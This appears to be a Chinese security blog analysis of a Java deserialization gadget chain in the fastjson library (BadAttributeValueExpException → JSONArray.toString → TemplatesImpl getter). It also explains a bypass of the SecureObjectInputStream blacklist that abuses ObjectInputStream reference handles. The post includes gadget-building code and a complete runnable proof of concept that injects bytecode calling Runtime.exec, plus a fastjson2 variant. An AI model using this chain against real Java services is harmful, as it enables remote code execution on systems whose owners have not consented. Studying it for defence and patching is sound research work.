Fastjson

fastjson触发getter

fastjson 是一套开源解析库,可以把 Java 对象转化成 JSON 形式来表示,通过 JSON.parseObject()、JSON.parse() 反序列化 json 字符串,对 fastjson 漏洞比较熟悉的话就知道反序列化时可以通过 @type 指定类,在反序列化时通过 JSON.parse() 触发 setter ,通过 JSON.parseObject() 触发 getter、setter 实现反序列化攻击。

JSON.toJSONString() 方法在将对象序列化为 json 字符串时,也同样会触发 getter 方法,那么我们很熟悉可以通过 TemplatesImpl.getOutputProperties() 实现字节码的任意加载。

组合调用链

在 fastjson 中 JSONArrayJSONObject 对抽象类 JSON 进行了实现,并实现了 Serializable 接口,但是很可惜并不存在 readObject() 方法不能作为 kick-off,所以我们还要继续寻找调用了 toJSONString() 的方法。而在 com.alibaba.fastjson.JSON 正好有一个 toString() 方法调用了 toJSONString()

image-20260114011139975

接下来寻找一个 toString() 方法来触发最终的 getter ,直接用 BadAttributeValueExpException 的 val 字段来触发,所以构造出的 gadget 如下

public Object getObject(String command) throws Exception {
    Object templatesImpl = Gadgets.createTemplatesImpl(command);
    JSONArray jsonArray = new JSONArray();
    jsonArray.add(templatesImpl);

    BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
    Reflections.setFieldValue(bd, "val", jsonArray);
    return bd;
}

补充 如何触发 fastjson 的 getter

因为是toString所以肯定会涉及到对象中的属性提取,fastjson在做这部分实现时,是通过ObjectSerializer类的write方法去做的提取

这部分流程是先判断serializers这个HashMap当中有无默认映射

image

我们可以来看看有哪些默认的映射关系

接下来寻找一个 toString() 方法来触发最终的 getter ,直接用 BadAttributeValueExpException 的 val 字段来触发,所以构造出的 gadget 如下

private void initSerializers() {
        this.put((Type)Boolean.class, (ObjectSerializer)BooleanCodec.instance);
        this.put((Type)Character.class, (ObjectSerializer)CharacterCodec.instance);
        this.put((Type)Byte.class, (ObjectSerializer)IntegerCodec.instance);
        this.put((Type)Short.class, (ObjectSerializer)IntegerCodec.instance);
        this.put((Type)Integer.class, (ObjectSerializer)IntegerCodec.instance);
        this.put((Type)Long.class, (ObjectSerializer)LongCodec.instance);
        this.put((Type)Float.class, (ObjectSerializer)FloatCodec.instance);
        this.put((Type)Double.class, (ObjectSerializer)DoubleSerializer.instance);
        this.put((Type)BigDecimal.class, (ObjectSerializer)BigDecimalCodec.instance);
        this.put((Type)BigInteger.class, (ObjectSerializer)BigIntegerCodec.instance);
        this.put((Type)String.class, (ObjectSerializer)StringCodec.instance);
        this.put((Type)byte[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)short[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)int[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)long[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)float[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)double[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)boolean[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)char[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)Object[].class, (ObjectSerializer)ObjectArrayCodec.instance);
        this.put((Type)Class.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)SimpleDateFormat.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)Currency.class, (ObjectSerializer)(new MiscCodec()));
        this.put((Type)TimeZone.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)InetAddress.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)Inet4Address.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)Inet6Address.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)InetSocketAddress.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)File.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)Appendable.class, (ObjectSerializer)AppendableSerializer.instance);
        this.put((Type)StringBuffer.class, (ObjectSerializer)AppendableSerializer.instance);
        this.put((Type)StringBuilder.class, (ObjectSerializer)AppendableSerializer.instance);
        this.put((Type)Charset.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)Pattern.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)Locale.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)URI.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)URL.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)UUID.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)AtomicBoolean.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)AtomicInteger.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)AtomicLong.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)AtomicReference.class, (ObjectSerializer)ReferenceCodec.instance);
        this.put((Type)AtomicIntegerArray.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)AtomicLongArray.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)WeakReference.class, (ObjectSerializer)ReferenceCodec.instance);
        this.put((Type)SoftReference.class, (ObjectSerializer)ReferenceCodec.instance);
        this.put((Type)LinkedList.class, (ObjectSerializer)CollectionCodec.instance);
    }

这里面基本上没有我们需要的东西,唯一熟悉的就是MiscCodec(提示下我们fastjson加载任意class时就是通过调用这个的TypeUtils.loadClass),但可惜的是他的write方法同样没有什么可利用的点,再往下去除一些不关键的调用栈,接下来默认会通过createJavaBeanSerializer来创建一个ObjectSerializer对象

image

它会提取类当中的BeanInfo(包括有getter方法的属性)并传入createJavaBeanSerializer继续处理

image

这个方法也最终会将二次处理的beaninfo继续委托给createASMSerializer做处理,而这个方法其实就是通过ASM动态创建一个类(因为和Java自带的ASM框架长的很“相似”所以阅读这部分代码并不复杂)

image

getter方法的生成在com.alibaba.fastjson.serializer.ASMSerializerFactory#generateWriteMethod当中

它会根据字段的类型调用不同的方法处理,这里我们随便看一个(以第一个_long为例)

这里的fieldInfo其实就是我们一开始的有get方法的field的集合

image

image

通过_get方法生成读取filed的方法,因此能调用get方法

image

1.2.49之后的改动

在 1.2.49 这个版本后 JSONArray 和 JSONObject 都实现了自己的 readObject() 方法,将反序列化委托给 SecureObjectInputStream 类,通过其重写的 resolveClass() 方法调用 checkAutoType() 实现黑名单检查

image-20260114012354626

image-20260114012529622

resolveClass的调用

乍一看,这样的写法很安全,当调用JSONArray/JSONObject的Object方法触发反序列化时,将这个反序列化过程委托给SecureObjectInputStream处理时,触发resolveClass实现对恶意类的拦截

这时候反序列化的调用过程是这样的,就是这样不安全的ObjectInputStream套个安全的SecureObjectInputStream导致了绕过

不安全的反序列化过程

image

安全的反序列化流程

多提一嘴,平时我们作防御则应该是生成一个继承ObjectInputStream的类并重写resolveClass(假定为TestInputStream),由它来做反序列化的入口,这样才是安全的,因此压力再次给到了开发身上

image

为了解决这个问题,首先我们就需要看看什么情况下不会调用resolveClass,在java.io.ObjectInputStream#readObject0调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象

handled处理机制

java.io.ObjectInputStream.readObject0() 方法中会根据字节数据的类型执行不同的处理,存在一些类型不会执行 resolveClass 检查的分支

image-20260114013211499

再往后,跳过一些细节过程,上面的不同case中大部分类都会最终调用readClassDesc去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC那么就会在readNonProxyDesc中触发resolveClass

再回到上面这个switch分支的代码,不会调用readClassDesc的分支有TC_NULLTC_REFERENCETC_STRINGTC_LONGSTRINGTC_EXCEPTION,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关,这一点可以从其描述看出

image-20260114013251982

image

handles 是一个重要的概念,与对象引用和共享对象的序列化有关,为了避免重复序列化、反序列化相同的对象而引入该机制。当反序列化时遇到一个对象引用时( TC_REFERENCE 标记),它会查找 handles 表,看是否已经反序列化了相同的对象。

在 Y4tacker 师傅的分析中说 java.util.ArrayList (其他的集合 Map、Set 同样适用)在执行 writeObject() 时最终会在 java.io.ObjectOutputStream.writeObject0() 方法向 handles 中写入对象,的确 handles 机制也用在序列化,但反序列化时与 ObjectOutputStream 无关,还需要继续分析。

image-20260114013821316

反序列化一个 HashMap 对象先来看一下 readObject0() 的处理,第一步会先向 handles 中加入类结构的描述信息

image-20260114014939672

之后进入 readOrdinaryObject() 方法处理一般对象

image-20260114014950378

首先通过 readClassDesc() 方法读取类描述信息,再根据类描述信息创建对象,unshared 为 fasle 则共享对象引用。而 HashMap 的 K key = (K) s.readObject(); 默认就会将该值设为 false。这也是解释为什么我们要把需要引用的 TemplatesImpl 对象放到 key

image-20260114015006625

public Object getObject(String command) throws Exception {
    Object templatesImpl = Gadgets.createTemplatesImpl(command);

    JSONArray jsonArray = new JSONArray();
    jsonArray.add(templatesImpl);

    BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
    Reflections.setFieldValue(bd, "val", jsonArray);

    HashMap hashMap = new HashMap();
    hashMap.put(templatesImpl, bd);
    return hashMap;
}

POC

package org.example;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import com.alibaba.fastjson.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.PriorityQueue;
import javax.management.BadAttributeValueExpException;
import static TOOl.tool.serialize;
import static TOOl.tool.unserialize;

public class fastjson1 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool = ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CB1");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes = payload.toBytecode();//转换为byte数组47.

        Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templatesImpl);
        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        Field field2 = bd.getClass().getDeclaredField("val");
        field2.setAccessible(true);
        field2.set(bd, jsonArray);
        HashMap hashMap = new HashMap();
        hashMap.put(templatesImpl, bd);

        String serialize = serialize(hashMap);
        unserialize(serialize);
    }
}

调试分析

反序列化一个 HashMap 对象先来看一下 readObject0() 的处理,第一步会先向 handles 中加入类结构的描述信息

第一次执行K key \= (K) s.readObject();时,这是handles还没有TemplatesImpl对象。

image-20260114020911536

第二次执行V value \= (V) s.readObject();时可以看到有TemplatesImpl对象。

image-20260114020019196

之后进入 readOrdinaryObject() 方法处理一般对象

image-20260114020040835

首先通过 readClassDesc() 方法读取类描述信息,再根据类描述信息创建对象,unshared 为 fasle 则共享对象引用。而 HashMap 的 K key = (K) s.readObject(); 默认就会将该值设为 false。这也是解释为什么我们要把需要引用的 TemplatesImpl 对象放到 key

image-20260114021347712

fastjson2

public Object getObject(String command) throws Exception {
    Object templatesImpl = Gadgets.createTemplatesImpl(command);
    JSONArray jsonArray = new JSONArray();
    jsonArray.add(templatesImpl);
    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    Reflections.setFieldValue(badAttributeValueExpException, "val", jsonArray);
    // M1
    HashMap hashMap = new HashMap();
    hashMap.put(templatesImpl, badAttributeValueExpException);
    return hashMap;
}